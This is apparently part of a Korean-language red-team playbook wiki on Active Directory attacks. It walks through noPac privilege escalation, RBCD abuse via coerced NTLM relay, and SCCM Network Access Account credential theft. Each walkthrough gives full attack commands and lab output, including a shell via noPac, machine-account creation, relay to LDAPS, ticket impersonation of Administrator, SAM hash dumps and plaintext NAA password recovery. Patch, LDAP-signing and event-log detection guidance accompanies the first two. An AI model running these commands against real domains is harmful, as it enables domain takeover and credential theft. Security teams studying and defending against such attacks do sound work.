CVE-2021-42278, CVE-2021-42287 (aka. noPac)은 2021년 11월에 발견된 액티브 디렉토리 권한 상승 취약점이다. 액티브 디렉토리 내 일반 유저에서 도메인 관리자로 권한 상승이 가능해지며, 도메인을 장악할 수 있게된다. 취약점 발표는 2021년 11월달에 이뤄졌지만, 12월 11일 noPac 이라는 개념증명 공격 툴이 공개되어 다시 주목받고 있다. 마이크로소프트 사에서는 이 두 취약점에 모두 CVSS 7.5 - 높음 위험도를 부여했다. 해당 취약점들은 2021년 11월 9일에 발표된 KB5008380, KB5008602, 혹은 KB5008102 보안 패치를 통해 해결할 수 있다.

### CVE-2021-42278 - sAMAccountName Spoofing

액티브 디렉토리 내 머신 계정은 일반적으로 sAMAccountName 뒤에 “$” 이 붙는다. 예를 들어 도메인 컨트롤러 DC01.choi.local 의 sAMAccountName은 DC01$ 이다. CVE-2021-42278은 머신 계정의 sAMAccountName를 수정할 때 검증이 제대로 이뤄지지 않아 “$”를 뺀 sAMAccountName을 만들어낼 수 있는 취약점이다. 예를 들어 DC01$에서 “$”가 빠진 DC01으로 지정할 수 있다.

42278만 놓고보면 심각한 취약점이 아니지만 이는 42287 취약점 공격에 필수적인 요소로 사용된다.

### CVE-2021-42287

액티브 디렉토리에서 머신 계정은 S4U2self 커버로스 요청을 통해 <특정 유저>가 자신(머신)의 특정 서비스에 접근가능한 서비스 티켓(ST)을 KDC로부터 받을 수 있다. 42287 취약점은 S4U2self를 요청한 머신의 sAMAccountName 이 액티브 디렉토리에 존재하지 않을시, KDC가 스스로 머신의 sAMAccountName 에 `$` 을 붙여 ST를 발급해주는 취약점이다.

이 취약점을 악용할 시 공격자는 도메인 컨트롤러와 sAMAccountName은 같지만 "$" 이 없는 머신 계정을 만든 뒤, TGT를 발급받고, 머신 계정의 sAMAccountName 을 다른 것으로 바꾼 뒤, <도메인 관리자>가 자신의 특정 서비스에 접근 가능한 S4U2self 요청을 KDC에게 보낸다. sAMAccountName이 바뀌었기 때문에 KDC는 액티브 디렉토리 내에서 이를 찾지 못하고, 결국 스스로 `$`을 붙여 (`DC01$`) <도메인 관리자>가 도메인 컨트롤러의 특정 서비스에 접근 가능한 서비스 티켓을 공격자에게 발급한다.

### 전제 조건

1. 도메인 내 MAQ (MachineAccountQuota)의 값이 0이상 (기본값 10)으로 설정 되었을 시
2. noPac에 취약한 패치되지 않은 도메인 컨트롤러가 존재
3. 도메인 유저 계정 존재

### 실습

실습에서는 noPac의 [파이썬 버전](https://github.com/Ridter/noPac)을 사용한다.

#### 정보 수집

CrackMapExec 이나 noPac 을 이용해 noPac에 취약한 도메인 컨트롤러가 있나 찾아본다.

```
# CrackMapExec 
$ cme smb <DC-IP> -u <user> -p <pass> -d <domain> -M noPac 

$ cme smb 192.168.40.150 -u 'low' -p 'Password123!' -d choi.local -M nopac 
SMB         192.168.40.150  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:choi.local) (signing:True) (SMBv1:False)
SMB         192.168.40.150  445    DC01             [+] choi.local\low:Password123! 
NOPAC       192.168.40.150  445    DC01             TGT with PAC size 1373
NOPAC       192.168.40.150  445    DC01             TGT without PAC size 680
NOPAC       192.168.40.150  445    DC01             
NOPAC       192.168.40.150  445    DC01             VULNEABLE
NOPAC       192.168.40.150  445    DC01             Next step: https://github.com/Ridter/noPac

# noPac 
$ python3 scanner.py <domain>/<user>:<pass> -dc-ip <dc-ip> 
$ python3 scanner.py choi.local/low:'Password123!' -dc-ip 192.168.40.150
```

noPac 과 관련된 `unsupported hash type MD4` 에러가 있다면 `pip3 install pycryptodome` 을 설치한다.

#### 공격

```
# noPac으로 쉘 얻기  
$ python3 noPac.py <domain>/<user>:<pass> -dc-ip <dc-ip> -shell 

# nopac으로 커버로스 티켓 받아오기  
python3 noPac.py <domain>/<user>:<pass> -dc-ip <dc-ip>
export KRB5CCNAME=<full-path-.ccache-file>

# 티켓을 이용해 다양한 공격 
python3 secretsdumps.py <domain>/<user>@<target> -k -no-pass 
```

### 대응 방안

* 다음의 보안 패치를 적용한다. 도메인 컨트롤러를 최신 버전으로 패치하면 자동으로 설치되니 굳이 찾아서 따로 설치를 할 필요는 없다.
* **KB5008102 패치 -** 머신 계정의 sAMAccountName에는 무조건적으로 “$”이 들어가게끔 검증하도록 바뀌었다.
* **KB5008380 패치 -** S4U2self 요청시, TGT안에 PAC (Privileged Account Certificate) 이 들어가게끔 바뀌었다. TGT안의 PAC과 새롭게 발급하는 TGS안의 PAC이 일치하지 않으면 TGS를 사용해 서비스를 이용할 수 없도록 바뀌었다.

### 탐지 방안

1. **sAMAccountName 검색**

정말 특별한 경우가 아니라면 도메인 내 “$”이 없는 머신 계정은 존재해서는 안된다. 다음의 파워쉘 명령어를 이용해 “$”이 없는 머신 계정을 찾아본다. 결과가 나온다면 계정을 분석한 뒤 침해대응을 준비한다.

```
<# (https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/) #>
Get-ADComputer -Filter { samAccountName -notlike "*$" }
```

**2. 윈도우 이벤트 로그 - 머신 계정 생성 확인**

다음의 윈도우 이벤트 로그를 확인한다.

* 4741 - 머신 계정 생성
* 4742 - 머신 계정 수정 (sAMAccountName 이 “$” 이 없도록 수정되었는지 확인)
* 4743 - 머신 계정 삭제

만약 4741, 4742, 4743이 짧은 시간 (5\~10분) 동안 일어났고, 4742에서 “$”이 없는 sAMAccountName 수정이 확인되었다면, 공격 받았을 확률이 매우 높다.

**3. 11월 9일 패치에서 추가된 이벤트 로그 확인**

11월 9일 KB5008380 패치에서 마이크로소프트 사는 다음과 같은 이벤트 로그들을 추가했다. 이를 모니터링 룰에 적용한다.

* 35 - PAC without Attributes
* 36 - Ticket without a PAC
* 37 - Ticket without Requestor
* 38 - Requestor Mismatch (중요)

### 레퍼런스

{% embed url="<https://github.com/Ridter/noPac>" %}


# Kerberoasting

다음 커버로스팅 관련 페이지를 참고한다.

[커버로스팅 (Kerberoasting)](/credential-access/kerberos/kerberoasting)


# AS-REP Roasting

다음 AS-REP Roasting 관련 페이지를 참고한다.

[AS-Rep Roasting](/credential-access/kerberos/as-rep-roasting)


# DHCPv6 포이즈닝

T1557.003

다음 DHCPv6 포이즈닝 페이지를 참고한다

[DHCPv6 포이즈닝](/credential-access/dhcpv6)


# Resource-Based Constrained Delegation (RBCD)

Resource-Based Constrained Delegation (이하 RBCD, rbcd)는 타겟 호스트의 `ms-DS-AllowedToActOnBehalfOfOtherIdentity` 액티브 디렉토리 오브젝트 특성을 조작해 공격자의 머신 계정이 타겟 호스트에 접근할 때 높은 권한의 도메인 유저 (도메인 관리자, 등)을 impersonation 할 수 있게 하는 공격이다.

### 공격 조건

* 공격자가 도메인 유저 권한을 가지고 있다
* 도메인 내 ms-DS-MachineAccountQuota 가 0 이상이다 (디폴트 값: 10)
* 타겟 서버가 강제 인증이 가능한 상태 (WebDav, RPC 기반 강제 인증, 등) 다
* 도메인 컨트롤러의 LDAP Signing 이 Required 가 아니다

위 공격 조건들이 모두 맞아 떨어질때, 공격자는 RBCD를 이용해 타겟 서버를 장악할 수 있게 된다. 예를 들어 내부망 내에 WebDAV가 활성화되어 있는 서버가 500대 존재한다면, 그 500대를 모두 장악할 수 있다.

### 배경 지식

ms-DS-AllowedToActOnBehalfOfOtherIdentity 특성은 서버 A가 서버 B에 접근할 때, 다른 유저로 가장 (impersonate) 할 수 있도록 해주는 특성이다. 이는 Kerberos Double Hop 문제를 해결할 때 사용된다. 다음의 문제 시나리오를 생각해보자.

```
유저 -> 웹 서버 -> 데이터베이스 서버 
```

유저의 데이터를 관리하는 데이터베이스(디비) 서버가 있고, 그 앞에 프론트엔드 격의 웹 서버가 있다고 가정해보자. 유저는 자신의 데이터를 디비에서 꺼내오고 싶다. 그러려면 웹 서버를 통해야한다. 하지만 웹 서버의 입장에서는 디비로 무작정 가서 "나 웹 서번데, <choi@choi.local>" 유저의 데이터 내놔" 라고 할 수 없다. 디비 서버 입장에서도 "넌 웹 서번데 너가 왜 <choi@choi.local> 유저 데이터를 내놓으라 마라야?" 라는 반응을 보일 것이다. 이 문제를 "Double Hop" 문제라고 하고, 이를 해결하기 위해서 커버로스 Constrained Delegation 과 Resource-Based Constrained Delegation이 사용된다.

### RBCD (Resource-Based Constrained Delegation)

RBCD는 특정 호스트의 `ms-DS-AllowedToActOnBehalfOfOtherIdentity` 특성을 수정해 해당 호스트에 접근하는 다른 호스트가 도메인 유저를 가장 할 수 있도록 허락해주는 특성이다.

위 Double Hop 예시를 들어보자면, 디비 서버의 `ms-DS-AllowedToActOnBehalfOfOtherIdentity` 특성을 수정해 "나 (디비 서버)에게 접근하는 호스트들 중, 웹 서버는 도메인 관리자 유저로서 나에게 접근을 허락합니다" 라는 설정을 하는 것이다. 그렇게 되면 웹 서버는 도메인 관리자 유저로서 디비 서버에 접근할 수 있게 된다.

RBCD를 악용하기 위해서는 다음 2개 중 하나의 조건이 필요하다

1. 타겟 서버에게 쓰기 권한을 가지고 있는 유저/머신 계정을 가지고 있다
2. 타겟 서버가 HTTP 기반의 Net-NTLM 인증 트래픽을 보낼 수 있는 강제 인증에 취약한 상태이며, 도메인의 MachineAccountQuota 가 0 이상이고 (디폴트: 10), 도메인 컨트롤러가 LDAP Signing 활성화가 되어있지 않을 때

이 페이지에서는 #2번 시나리오에 대해 설명한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-4c94b6fd633e997b89d8ad058cb98c63563bc38f%2Frbcd.drawio.png?alt=media" alt=""><figcaption></figcaption></figure>

RBCD 공격 순서는 다음과 같다.

1. 공격자는 ms-dsMachineAccountQuota 가 0 이상인 도메인에서 도메인 유저 권한으로 도메인에 머신 계정 - fake$@choi.local (fake.choi.local) 을 추가한다.
2. 타겟 서버에게 HTTP 기반의 강제 인증을 실행한다. 자주 쓰이는 것은 WebDav 서비스에게 printerbug [MS-RPRN - Printerbug / Print Spooler](/credential-access/authentication-coercion/ms-rprn) 을 사용하되, 강제 인증 도착 주소를 공격자 머신 계정의 DNS 호스트 이름으로 지정하는 것이다.
3. 타겟 서버는 공격자 머신 계정의 DNS 호스트 이름으로 HTTP 기반의 Net-NTLM 트래픽을 전송한다.
4. 공격자 서버는 이 트래픽을 릴레이 해 도메인 컨트롤러의 LDAP 서비스로 릴레이 공격을 실행한다.
5. 릴레이 공격을 통해 공격자 서버는 타겟 서버의 맥락 (context) 로 도메인 컨트롤러에게 가서 "내가 타겟 서버인데, 내 ms-DS-AllowedToActOnBehalfOfOtherIdentity 특성을 바꿔주세요. 나한테 접근하는 호스트들 중에 fake$@choi.local 이라는 머신 계정은 도메인 유저 아무나 가장 (impersonate) 할 수 있도록 설정해주세요" 라고 요청한다. 도메인 컨트롤러는 타겟 서버가 자신의 특성을 바꿔달라고 요청한 것으로 착각할테니 (릴레이 공격이라), 특성을 수정해준다.
6. 특성이 수정됐기 때문에 공격자는 이제 `fake$@choi.local` 머신 계정으로 타겟 서버에 접근할 때 아무 도메인 유저나 가장 (impersonate)할 수 있게 되었다. 이제 타겟 서버로 도메인 관리자로 가장한채 접근해 타겟 서버를 장악한다.

### 실습

꽤나 복잡한 공격이기 때문에 몇 가지 조건들을 확인한다.

1. 도메인 유저 권한을 가지고 있어야한다.
2. 도메인의 ms-DS-MachineAccountQuota 가 0 이상인지 확인한다
   1. `cme ldap <dc> -u <u> -p <p> -M maq`
3. 도메인 컨트롤러의 LDAP Signing 이 Not Required 상태인지 확인한다
   1. `cme ldap <dc> -u <u> -p <p> -M ldap-checker`
4. 타겟 서버가 WebDAV 서비스를 실행하고 있는지 확인한다
   1. `cme smb <target> -u <u> -p <p> -M webdav`

모든 조건들이 확인됐다면 공격을 시작한다.

1. 도메인 내 공격자 머신 계정을 생성한다.

```
└─# impacket-addcomputer choi.local/low:'Password123!' -dc-ip 192.168.40.150
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
                                                                                                   
[*] Successfully added machine account DESKTOP-86TFUIC2$ with password ipIVa07EaG0gtxAQjUUNctIlBzesUPbI.
```

2. 공격자 머신 계정의 DNS 레코드를 LDAP을 통해 추가한다. 아래 명령어는 아까 생성한 `DESKTOP-8GTFUIC2$` 머신 계정의 DNS 레코드를 현재 공격자 컴퓨터인 `192.168.40.132` 에, 레코드 이름은 `redteamplaybook.choi.local` 로 추가했다.

```
└─# python3 dnstool.py -u choi.local\\'DESKTOP-86TFUIC2$' -p 'ipIVa07EaG0gtxAQjUUNctIlBzesUPbI' -a add -r redteamplaybook -d 192.168.40.132 ldaps://192.168.40.150                                    

[-] Connecting to host...                                                                                                                                                                             
[-] Binding to host                                                                                                                                                                                   
[+] Bind OK                                                                                        
[-] Adding new record                            
[+] LDAP operation completed successfully
```

이제 DNS 레코드를 확인해보면 redteamplaybook.choi.local 은 현재 공격자 머신의 IP 주소인 192.168.40.132 로 resolve가 된다.

```
└─# host redteamplaybook.choi.local
redteamplaybook.choi.local has address 192.168.40.132
```

3. 타겟 서버에게 강제 인증 공격을 실행한다. 강제 인증 자체는 MS-RPRN을 악용하는 Printerbug을 사용한다. 타겟 서버에게 "redteamplaybook\@80/helloworld 라는 곳으로 가세요" 라고 얘기를 해주는데, 이는 사실상 `http://redteamplaybook.choi.local:80/helloworld` 와 같은 개념이다. 이 URL은 WebDAV 서비스가 Net-NTLM 트래픽을 사용해 방문할 것이다.

```
# FQDN이 아니라, 딱 호스트이름만 쓴다. 
└─# python3 printerbug.py choi.local/low:'Password123!'@192.168.40.151 redteamplaybook@80/helloworld
[*] Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] Attempting to trigger authentication via rprn RPC at 192.168.40.151
[*] Bind OK
[*] Got handle
RPRN SessionError: code: 0x6ba - RPC_S_SERVER_UNAVAILABLE - The RPC server is unavailable.
[*] Triggered RPC backconnect, this may or may not have worked
```

4. 타겟 서버의 WebDAV 서비스가 공격자 머신인 `http://redteamplaybook.choi.local:80/helloworld` 에 방문했다. 이 Net-NTLM 트래픽을 도메인 컨트롤러에게 릴레이한다. 이때, `--delegate-access` 플래그와 `--escalate-user <생성한-공격자-머신-계정>` 을 지정해 공격자 머신 계정이 타겟 서버의 `ms-DS-AllowedToActOnBehalfOfOtherIdentity` 특성에 들어갈 수 있도록 만든다.

```
└─# ntlmrelayx.py -t ldaps://dc01.choi.local -wh 192.168.40.151 --delegate-access --escalate-user 'DESKTOP-86TFUIC2$'

[*] HTTPD(80): Connection from 192.168.40.151 controlled, attacking target ldaps://dc01.choi.local
[*] HTTPD(80): Authenticating against ldaps://dc01.choi.local as CHOI/WKSTN01$ SUCCEED
[*] Delegation rights modified succesfully!
[*] DESKTOP-86TFUIC2$ can now impersonate users on WKSTN01$ via S4U2Proxy
```

5. 이제 공격자의 머신 계정 `DESKTOP-86TFUIC2$` 은 타겟 서버에 접근할 때 아무런 도메인 유저로서 가장 (impersonate) 할 수 있게 됐다. 타겟 서버의 CIFS 서비스로 접근하는 커버로스 서비스티켓을 발급받을 때, 도메인 관리자인 `Administrator@choi.local` 유저로 가장 (impersonate) 한다.

```
└─# impacket-getST choi.local/'DESKTOP-86TFUIC2$':'ipIVa07EaG0gtxAQjUUNctIlBzesUPbI' -spn cifs/wkstn01.choi.local -impersonate Administrator
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
```

6. 발급 받은 서비스티켓은 "도메인 관리자로서 타겟 서버의 CIFS 서비스에 접근 할 수 있는" 서비스티켓이다. 이 티켓을 활용해 타겟 서버를 장악한 뒤, SAM 데이터베이스를 덤프한다.

```
└─# cme smb 192.168.40.151 --use-kcache --sam 

SMB         192.168.40.151  445    WKSTN01          [*] Windows 10.0 Build 19041 x64 (name:WKSTN01) (domain:choi.local) (signing:False) (SMBv1:False)
SMB         192.168.40.151  445    WKSTN01          [+] choi.local\Administrator from ccache (Pwn3d!)
SMB         192.168.40.151  445    WKSTN01          [+] Dumping SAM hashes
SMB         192.168.40.151  445    WKSTN01          Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB         192.168.40.151  445    WKSTN01          Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[ ... ] 
```

### 대응 방안

RBCD는 액티브 디렉토리의 커버로스나 `ms-DS-AllowedToActOnBehalfOfOtherIdentity` 특성의 취약점을 익스플로잇 하는 공격이 아니다. 그저 커버로스 Delegation의 개념과 액티브 디렉토리의 오브젝트 특성을 공격자의 관점에서 악용하는 공격일 뿐이다.

따라서 대응 방안은 LDAP NTLM 릴레이 공격시 릴레이와 릴레이를 통한 특성 변경이 불가능 하도록 LDAP Signing 을 활성화 시키는 것 뿐이다. 다음의 GPO를 설정해 LDAP Signing 을 Required 로 설정한다.

* `(Default Domain Controller Policy 혹은 GPO`) `> Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > Domain controller: LDAP server signing requirement` - REQUIRED 로 설정

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-9f6df31243697880f19136694599303ed7fe75f7%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

그 외에는 WebDAV 서비스를 사용하지 않는 호스트들의 WebClient 서비스를 비활성화 하는 방법이 있다. 완벽히 RBCD를 막을 순 없지만, 공격자의 입장에서 공격이 좀 더 까다로워진다. 다음의 파워쉘 명령어를 사용하거나 명령어를 GPO화 시켜 도메인 호스트들에게 적용한다.

* ```
  Remove-WindowsFeature Web-Dav-Publishing
  ```
* `stop-service -name WebClient`

### 레퍼런스

{% embed url="<http://blog.redxorblue.com/2019/12/no-shells-required-using-impacket-to.html>" %}

{% embed url="<https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>" %}

{% embed url="<https://pentestlab.blog/2021/10/18/resource-based-constrained-delegation/>" %}


# SCCM

## 개념

SCCM(Microsoft System Center Configuration Manager)은 네트워크 내 윈도우 호스트들을 업데이트하거나 패치 하는데 사용되는 Intune 솔루션 제품들 중 하나다.

* **SCCM Server:** SCCM을 전반적으로 관리하는 서버
* **SCCM Client:** SCCM에 등록된 뒤 업데이트 및 패치를 받을 클라이언트 호스트
* **DP (Distribution Point):** SCCM 클라이언트들이 다운받고 설치할 패키지들을 배포하는 서버
* **NAA (Network Access Account):** SCCM 클라이언트가 머신 계정으로 DP나 SCCM 서버에 접근할 수 없는 경우, 대신 사용하게 되는 SCCM 전용 네트워크 접근 계쩡

SCCM에는 NAA라는 계정이 존재한다. 클라이언트들은 SCCM 서버 혹은 DP 서버에 접근할 때 원래 자신의 머신 계정을 이용하는데, 이때 접근이 불가능할 경우 NAA를 사용하게 된다. NAA와 관련된 계정 정보 (유저이름, 비밀번호) SCCM 클라이언트가 SCCM 서버에 등록될 때 자동적으로 클라이언트에게 전송된다. 클라이언트가 서버에 등록할 때 다양한 정책과 설정 관련된 파일들을 XML 형태로 다운받게 되는데, 이때 NAA 계정 정보가 들어간 `NAAConfig.xml` 도 같이 다운받게 된다.

`NAAPolicy.xml` 에는 NAA 계정 정보가 암호화 + 난독화 되어 있는 상태로 저장된다. 먼저 난독화가 진행된 뒤, 이 난독화된 blob에 암호화를 진행한다. 암호화에는 SCCM 클라이언트가 등록할 때 생성한 Self-Signed Certificate 의 RSA 공개 키에서 도출된 키가 사용된다.

## 공격

#### 공격 사전 조건

1. SCCM 서버가 네트워크안에 있으며, SCCM을 사용 중
2. SCCM 서버가 NAA 를 사용하도록 설정
3. 공격자가 머신 계정을 생성할 수 있도록 MachineAccountQuota 가 0 이상이거나, Authentication Coercion 공격 가능

위 조건들이 맞는 다면 공격자는 만들어놨던 머신 계정을 이용하거나 Authentication Coercion을 이용해 SCCM 서버에 머신 계정으로 접근한 뒤, 가짜 디바이스를 생성하고 SCCM 서버에 등록한 다음, 서버가 배포하는 `NAAConfig.xml` 에서 `NAAPolicy.xml` 을 받아온다. 그 뒤, 자신의 Self-Signed Certificate RSA 공개키에서 도출한 키를 사용해 NAA 계정 정보를 복호화 한 뒤, 윈도우의 기본 DLL 파일인 `PolicyAgent.dll` 을 이용해 NAA 계정 정보를 역난독화 한 뒤 NAA 의 평문 유저 이름과 비밀번호를 알아낼 수 있다.

NAA 계정의 경우 네트워크 내 호스트들에 접근한 뒤 패키지들을 설치하거나 패치를 진행하는 등의 일을 해야하기 때문에 로컬 관리자 권한을 갖고 있는 경우가 많다. 즉, NAA 계정 정보만 성공적으로 얻어낼 수 있다면 공격자는 순식간에 네트워크 내의 모든 윈도우 호스트들을 장악할 수 있게 된다.

## 실습

### 정보 수집

SCCM 서버 정보 수집

```
# DNS 
sccm.domain.com, sccmcm.domain.com, sccmdp.domain.com 등으로 검색 

# HTTP/HTTPS 
1. 모든 웹 서버 아이피주소 확인 (nmap -> grep + cut + sort) 
2. curl, gowitness 등을 사용해 http(s)://<host>/ccm_system_windowsauth/request 페이지가 존재하는지, 존재 한다면 basic auth 를 나타내는지 확인 
```

MAQ 및 Auth Coercion 확인

```
cme ldap <dc> -u <u> -p <p> -M maq 
cme smb <host> -u <u> -p <p> -M petitpotam,spooler,dfscoerce,shadowcoerce 
```

### 공격 1 - Machine Account + SCCMWtf

머신 계정을 생성한 뒤 SCCM 서버에 접근, 가짜 디바이스 생성, NAAConfig + NAAPolicy를 받아온다

```
# 머신 계정 생성 
addcomputer.py domain.com/user:pass -dc-ip <dc> -computer-name 'fakeComp' -computer-pass '<pass>'

# SCCMWtf
git clone https://github.com/xpn/sccmwtf
python3 sccmwtf.py fake-device fake-device.domain.com SCCM 'domain.com\fakeComp$' '<pass>'

# NAAPolicy.xml 받은 뒤 Post-Ex 단계로 진행 
```

### 공격 2 - Authentication Coercion + SCCM Relay

```
# Authentication Coercion. 예) Petitpotam 
python3 petitpotam.py -u <u> -p <p> <attackerIP> <targetIP>

# SCCM 서버를 향해 SCCM Relay 
- ThePorgs 포크 버전 사용 (https://github.com/ThePorgs/impacket) 

ntlmrelayx.py -t http://<server>/ccm_system_windowsauth/request --sccm --sccm-device fake-device --sccm-fqdn domain.com --http-port 80 --sccm-server sccm --sccm-sleep 10 -smb2support 

# NAAPolicy.xml 받은 뒤 Post-Ex 단계로 진행 
```

### Post-Ex - NAAPolicy.xml 역난독화

XPN이 발표한 `policysecretunobfuscate.c` 를 컴파일 한 뒤, `NAAPolicy.xml` 파일안의 `NetworkAccessUsername` 와 `NetworkAccessPassword` 의 CDATA 값을 줘서 실행하면 평문 비밀번호가 나온다.

```
PS C:\dev\naadeobs\x64\Debug> .\naadeobs.exe 112233<REDACTED>
choi\sccm-naa


PS C:\dev\naadeobs \x64\Debug> .\naadeobs.exe 112233<REDACTED>
Password123!
```

이제 얻어낸 평문 유저 이름과 평문 비밀번호로 네트워크 내 다양한 머신들을 장악하면 된다.

### 레퍼런스

* <https://blog.xpnsec.com/unobfuscating-network-access-accounts/>
* <https://github.com/xpn/sccmwtf>
* <https://github.com/ThePorgs/impacket/pull/14>
* <https://www.thehacker.recipes/ad/movement/sccm-mecm>
* <https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9>




---

[Next Page](/llms-full.txt/1)

